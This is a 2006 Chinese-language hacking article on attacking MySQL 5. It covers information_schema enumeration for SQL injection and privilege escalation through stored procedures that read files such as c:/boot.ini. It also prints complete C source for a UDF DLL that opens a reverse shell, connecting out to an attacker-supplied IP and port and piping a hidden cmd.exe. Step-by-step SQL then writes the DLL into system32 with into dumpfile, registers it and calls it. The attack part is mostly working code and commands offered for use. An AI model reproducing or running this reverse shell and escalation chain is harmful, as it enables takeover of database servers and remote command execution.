創(chuàng)建時(shí)間:2006-01-30 文章屬性:原創(chuàng) 文章提交:HeiGe (hack-520_at_163.com)
Hackfing in Mysql5
Author:SuperHei_[At]_ Blog:http://superhei./ Team:http://www. Data: 2006-01-29
Mysql5增加很多新的功能,開(kāi)始支持:存儲(chǔ)過(guò)程、觸發(fā)器、視圖、信息架構(gòu)視圖等新特。可以說(shuō)這些都是發(fā)展的必然,但是新的東西的出來(lái),必定也會(huì)帶來(lái)新的安全問(wèn)題,如Mysql4開(kāi)始支持union查詢、子查詢。這直接導(dǎo)致mysql注射更容易、廣泛。mysql5的新功能會(huì)給安全帶來(lái)什么新的東西呢?下面我給大家介紹下mysql5在安全方面的特點(diǎn):
一、password authentication
mysql5的password()和mysql4.1一樣,采用的基于SHA1的41位hash:
mysql> select password(‘mypass‘); +-------------------------------------------+ | password(‘mypass‘) | +-------------------------------------------+ | *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 | +-------------------------------------------+ 1 row in set (0.00 sec)
在mysql4.1以前的password hashes是基于16位md5:
mysql> SELECT PASSWORD(‘mypass‘); +--------------------+ | PASSWORD(‘mypass‘) | +--------------------+ | 6f8c114b58f2ce9e | +--------------------+
當(dāng)使用低版本的Client連接時(shí),回出現(xiàn)錯(cuò)誤:Client does not support authentication protocol,為了解決這個(gè)問(wèn)題,mysql5提供了一個(gè)old_password(),就相當(dāng)于mysql4.1以前的的password():
mysql> select old_password(‘mypass‘); +------------------------+ | old_password(‘mypass‘) | +------------------------+ | 6f8c114b58f2ce9e | +------------------------+ 1 row in set (0.09 sec)
二、數(shù)據(jù)字典(information_schema)
和mssql、oracle、db2等數(shù)據(jù)庫(kù)一樣,mysql5提供了一個(gè)系統(tǒng)數(shù)據(jù)庫(kù):information_schema mysql> use information_schema; Database changed mysql> show tables; +---------------------------------------+ | Tables_in_information_schema | +---------------------------------------+ | CHARACTER_SETS | | COLLATIONS | | COLLATION_CHARACTER_SET_APPLICABILITY | | COLUMNS | | COLUMN_PRIVILEGES | | KEY_COLUMN_USAGE | | ROUTINES | | SCHEMATA | | SCHEMA_PRIVILEGES | | STATISTICS | | TABLES | | TABLE_CONSTRAINTS | | TABLE_PRIVILEGES | | TRIGGERS | | VIEWS | | USER_PRIVILEGES | +---------------------------------------+ 16 rows in set (0.17 sec)
在這個(gè)數(shù)據(jù)庫(kù)里我們可以得到很多信息,包括當(dāng)前用戶權(quán)限: mysql> select * from information_schema.USER_PRIVILEGES; +-----------+---------------+----------------+--------------+ | GRANTEE | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE | +-----------+---------------+----------------+--------------+ | ‘KK1‘@‘%‘ | NULL | USAGE | NO | +-----------+---------------+----------------+--------------+ 1 row in set (0.02 sec)
當(dāng)前用戶權(quán)限下可以訪問(wèn)的數(shù)據(jù)庫(kù),表,列名(這個(gè)在sql注射中,導(dǎo)致直接暴區(qū)數(shù)據(jù)庫(kù),表列名,再也不要‘暴力’咯):
mysql> select TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME from information_schema.STATIS TICS; +--------------+------------+-------------+ | TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME | +--------------+------------+-------------+ | in | article | articleid | | in | user | userid | +--------------+------------+-------------+ 2 rows in set (0.02 sec)
還可以得到當(dāng)前用戶權(quán)限下的VIEWS,ROUTINES等,關(guān)于ROUTINES我們?cè)谙旅娴?#8216;存儲(chǔ)過(guò)程’里詳細(xì)介紹。
[ps:注意是‘當(dāng)前用戶權(quán)限’如果是root,那么太可以得到所有的數(shù)據(jù)庫(kù)名稱以及表列名等等]
三、存儲(chǔ)過(guò)程(Stored Procedures)
‘存儲(chǔ)過(guò)程‘的使用是mysql5的一個(gè)閃光點(diǎn),在帶來(lái)方便的同時(shí),它也帶來(lái)了新的安全隱患:如sql注射,用戶權(quán)限提升等等。
D:\mysql5\bin>mysql -uroot -p Enter password: ****** Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 4 to server version: 5.0.18
Type ‘help;‘ or ‘\h‘ for help. Type ‘\c‘ to clear the buffer.
mysql> use in Database changed mysql> delimiter // mysql> CREATE PROCEDURE test(id INT) -> BEGIN -> SELECT * FROM in.USER WHERE USERID=ID; -> END// Query OK, 0 rows affected (0.08 sec)
mysql> delimiter ;
mysql> call test(1); +--------+----------+----------+ | userid | username | password | +--------+----------+----------+ | 1 | angel | mypass | +--------+----------+----------+ 1 row in set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
上面我們使用root在數(shù)據(jù)庫(kù)in里創(chuàng)建了一個(gè)名為test的存儲(chǔ)過(guò)程。
a、SQL Injection
mysql> call test(1 and 1=1); +--------+----------+----------+ | userid | username | password | +--------+----------+----------+ | 1 | angel | mypass | +--------+----------+----------+ 1 row in set (0.00 sec)
Query OK, 0 rows affected (0.01 sec)
mysql> call test(1 and 1=2); Empty set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
b、跨權(quán)限 存儲(chǔ)過(guò)程是繼承創(chuàng)建者的權(quán)限的,如果存儲(chǔ)過(guò)程是root創(chuàng)建的,當(dāng)其他普通用戶使用這個(gè)存儲(chǔ)過(guò)程時(shí),導(dǎo)致跨權(quán)限攻擊:
mysql> grant SELECT, INSERT, UPDATE, DELETE, EXECUTE -> ON `IN`.* -> TO ‘KK1‘@‘%‘ -> IDENTIFIED BY ‘OBSCURE‘; Query OK, 0 rows affected (0.03 sec)
上面建立一個(gè)KK1的用戶只在數(shù)據(jù)庫(kù)in中有SELECT, INSERT, UPDATE, DELETE, EXECUTE權(quán)限,使用KK1登陸: D:\mysql5\bin>mysql -uKK1 -p Enter password: ****** Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 5 to server version: 5.0.18
Type ‘help;‘ or ‘\h‘ for help. Type ‘\c‘ to clear the buffer.
mysql> select ROUTINE_SCHEMA,ROUTINE_NAME,DEFINER,ROUTINE_DEFINITION from inform ation_schema.ROUTINES; +----------------+--------------+----------------+--------------------+ | ROUTINE_SCHEMA | ROUTINE_NAME | DEFINER | ROUTINE_DEFINITION | +----------------+--------------+----------------+--------------------+ | in | test | root@localhost | | | in | tt | root@localhost | | +----------------+--------------+----------------+--------------------+ 2 rows in set (0.01 sec)
我們可以得到KK1可以使用存儲(chǔ)過(guò)程in.test 其創(chuàng)建者為root@localhost。不過(guò)KK1沒(méi)有權(quán)限得到ROUTINE_DEFINITION 就是in.test的代碼。下面看看跨權(quán)限:
mysql> call in.test(1 and length(load_file(‘c:/boot.ini‘))>0); +--------+----------+----------+ | userid | username | password | +--------+----------+----------+ | 1 | angel | mypass | +--------+----------+----------+ 1 row in set (0.00 sec)
Query OK, 0 rows affected (0.01 sec)
mysql> call in.test(1 and length(load_file(‘c:/boot.ini‘))<0); Empty set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
沒(méi)有file權(quán)限的KK1可以使用in.test使用load_file(),我們還可以直接對(duì)mysql.user進(jìn)行select,如果存儲(chǔ)過(guò)程可以u(píng)pdata,insert注射,那么我們可以普通用戶直接通過(guò)注射來(lái)修改mysql.user里的數(shù)據(jù)。
四、User-Defined Function
[ps:下面都是基于win系統(tǒng)]
mysql5的udf在格式和安全方面做一些新的改變: 1、格式要求更加嚴(yán)格[xxx_init()初始化函數(shù)] 對(duì)于沒(méi)有xxx_init()初始化函數(shù) 在以前的版本是可以使用的,但是在mysql5下會(huì)出現(xiàn)Can‘t find function ‘xxx_init‘ in library的錯(cuò)誤,如:
mysql> create function ExitProcess returns integer soname ‘kernel32‘; ERROR 1127 (HY000): Can‘t find function ‘ExitProcess_init‘ in library
下面給出的代碼是好友云舒寫的,符合mysql5的udf格式要求可以在mysql5下使用:
/******************************************************************************* * File: MySQL_Shell.cpp * Author: 云舒(wustyunshu at hotmail dot com) * Date: 2005-12-12 *******************************************************************************/ #include <stdio.h> #include <winsock2.h> #include <windows.h>
#define MAKE_DLL /* Build dll here */
#include "MySQL_Shell.h"
#pragma comment( lib, "ws2_32" )
#define BUFFER_SIZE 1024
/////////////////////////////////////////////////////////////////////////////// //函數(shù)原型 ///////////////////////////////////////////////////////////////////////////////
BOOL StartWith( char *, char * ); void LogMsg( char * );
/////////////////////////////////////////////////////////////////////////////// //MySQL模塊初始化函數(shù) ///////////////////////////////////////////////////////////////////////////////
LIB my_bool shell_init( UDF_INIT *init, UDF_ARGS *args, char *message ) { if ( args->arg_count != 2 ) { strcpy( message, "Shell() requires two arguments" ); return 1; }
if ( (args->arg_type[0] != STRING_RESULT) || (args->arg_type[1] != STRING_RESULT) ) { strcpy( message, "Shell() requires two string arguent" ); return 1; }
return 0; }
/////////////////////////////////////////////////////////////////////////////// //MySQL模塊主功能函數(shù),反向連接提供shell ///////////////////////////////////////////////////////////////////////////////
LIB int shell( UDF_INIT *init, UDF_ARGS *args, char *is_null, char *error ) { SOCKET sock; SOCKADDR_IN sin; int ret; // Create socket sock = socket( AF_INET, SOCK_STREAM, 0 ); if ( sock == INVALID_SOCKET ) { strcpy( error, "Create socket error" );
return -1; }
sin.sin_family = AF_INET; sin.sin_port = htons( atoi(args->args[1]) ); sin.sin_addr.s_addr = inet_addr( args->args[0] ); //connect to remote server ret = connect( sock, (struct sockaddr *)&sin, sizeof(sin) ); if( ret == SOCKET_ERROR ) { strcpy( error, "Connect error" );
return -1; }
SECURITY_ATTRIBUTES sa; sa.nLength = sizeof( sa ); sa.lpSecurityDescriptor = 0; sa.bInheritHandle = TRUE; HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
ret=CreatePipe( &hReadPipe1, &hWritePipe1, &sa, 0 ); ret=CreatePipe( &hReadPipe2, &hWritePipe2, &sa, 0 ); STARTUPINFO si; ZeroMemory( &si, sizeof(si) );
GetStartupInfo( &si ); si.cb = sizeof( si ); si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; si.wShowWindow = SW_HIDE; si.hStdInput = hReadPipe2; si.hStdOutput = si.hStdError = hWritePipe1; PROCESS_INFORMATION processInfo; char cmdLine[] = "cmd.exe";
ZeroMemory( &processInfo , sizeof(PROCESS_INFORMATION) ); ret = CreateProcess(NULL, cmdLine, NULL,NULL,1,0,NULL,NULL,&si,&processInfo); char buff[BUFFER_SIZE] = { 0 }; unsigned long bytesRead = 0; int i = 0; while( TRUE ) { memset( buff, 0, BUFFER_SIZE ); ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, 0, 0 ); for(i = 0; i < 5 && bytesRead == 0; i++) { Sleep(100); ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, NULL, NULL ); } if( bytesRead ) { ret = ReadFile( hReadPipe1, buff, bytesRead, &bytesRead, 0 ); if( !ret ) break; ret = send( sock, buff, bytesRead, 0 ); if( ret <= 0 ) break; } else { bytesRead = recv( sock, buff, BUFFER_SIZE, 0 ); if( bytesRead <= 0 ) break; if( StartWith( buff , "exit" ) == TRUE ) break;
ret = WriteFile( hWritePipe2, buff, bytesRead, &bytesRead, 0 ); if( !ret ) break; } } TerminateProcess( processInfo.hProcess, 0 );
CloseHandle( hReadPipe1 ); CloseHandle( hReadPipe2 ); CloseHandle( hWritePipe1 ); CloseHandle( hWritePipe2 ); closesocket( sock );
return 0; }
/////////////////////////////////////////////////////////////////////////////// //判斷字符串是否以另一個(gè)字符串開(kāi)頭 ///////////////////////////////////////////////////////////////////////////////
BOOL StartWith( char *buf1, char *buf2 ) { int len = strlen(buf2);
if( memcmp( buf1,buf2,len ) == 0 ) { return TRUE; } return FALSE; }
/////////////////////////////////////////////////////////////////////////////// //記錄日志信息,調(diào)試用 ///////////////////////////////////////////////////////////////////////////////
void LogMsg( char *msg ) { FILE *fp;
fp = fopen( "C:\mysql.txt", "a+" );
fputs( msg, fp );
fclose( fp ); }
/******************************************************************************* * File: MySQL_Shell.h * Author: 云舒(wustyunshu at hotmail dot com) * Date: 2005-12-12 *******************************************************************************/
#ifdef MAKE_DLL #define LIB extern "C" __declspec(dllexport) #else #define LIB extern "C" __declspec(dllimport) #endif
#define MYSQL_ERRMSG_SIZE 512 /* Max buffer size */
typedef char my_bool;
enum Item_result { STRING_RESULT,REAL_RESULT,INT_RESULT };
typedef struct st_udf_args { unsigned int arg_count; /* Number of arguments */ enum Item_result *arg_type; /* Pointer to item_results */ char **args; /* Pointer to argument */ unsigned long *lengths; /* Length of string arguments */ char *maybe_null; /* Set to 1 for all maybe_null args */ } UDF_ARGS;
typedef struct st_udf_init { my_bool maybe_null; /* 1 if function can return NULL */ unsigned int decimals; /* for real functions */ unsigned int max_length; /* For string functions */ char *ptr; /* free pointer for function data */ char const_item; /* 0 if result is independent of arguments */ } UDF_INIT;
LIB my_bool shell_init( UDF_INIT *, UDF_ARGS *, char * );
LIB int shell( UDF_INIT *, UDF_ARGS *, char *, char * );
2、mysql5限制了udf對(duì)應(yīng)的文件dll文件只可以放在system32目錄下。 對(duì)于一般低權(quán)限的系統(tǒng)用戶是沒(méi)有對(duì)system32目錄寫權(quán)限的,在這樣的情況下我們可以使用into dumpfile把dll文件放到system32來(lái)突破,具體如下: mysql> use mysql; Database changed mysql> create table heige(line blob); Query OK, 0 rows affected (0.50 sec)
mysql> insert into heige values(load_file(‘c:/udf.dll‘)); Query OK, 1 row affected (0.08 sec)
mysql> select * from heige into dumpfile ‘c:/winnt/system32/heige.dll‘; Query OK, 1 row affected (0.18 sec)
mysql> create function shell returns integer soname ‘heige.dll‘; Query OK, 0 rows affected (0.07 sec)
mysql> select * from mysql.func; +-------+-----+-----------+----------+ | name | ret | dl | type | +-------+-----+-----------+----------+ | shell | 2 | heige.dll | function | +-------+-----+-----------+----------+ 1 row in set (0.00 sec)
mysql> select shell(‘127.0.0.1‘,‘1234‘); +---------------------------+ | shell(‘127.0.0.1‘,‘1234‘) | +---------------------------+ | NULL | +---------------------------+ 1 row in set (0.97 sec)
五、參考 《MySQL 5.0 Reference Manual》 http://dev./doc/refman/5.0/en/ 《Hackproofing MySQL》 http://www./papers/HackproofingMySQL.pdf 《給mysql加個(gè)自定義函數(shù)(windows平臺(tái))》http://www./yunshu/show.php?id=244
六、感謝 感謝云舒、TomyChen、Mix ...所有pst的兄弟們。
謝謝閱讀!
|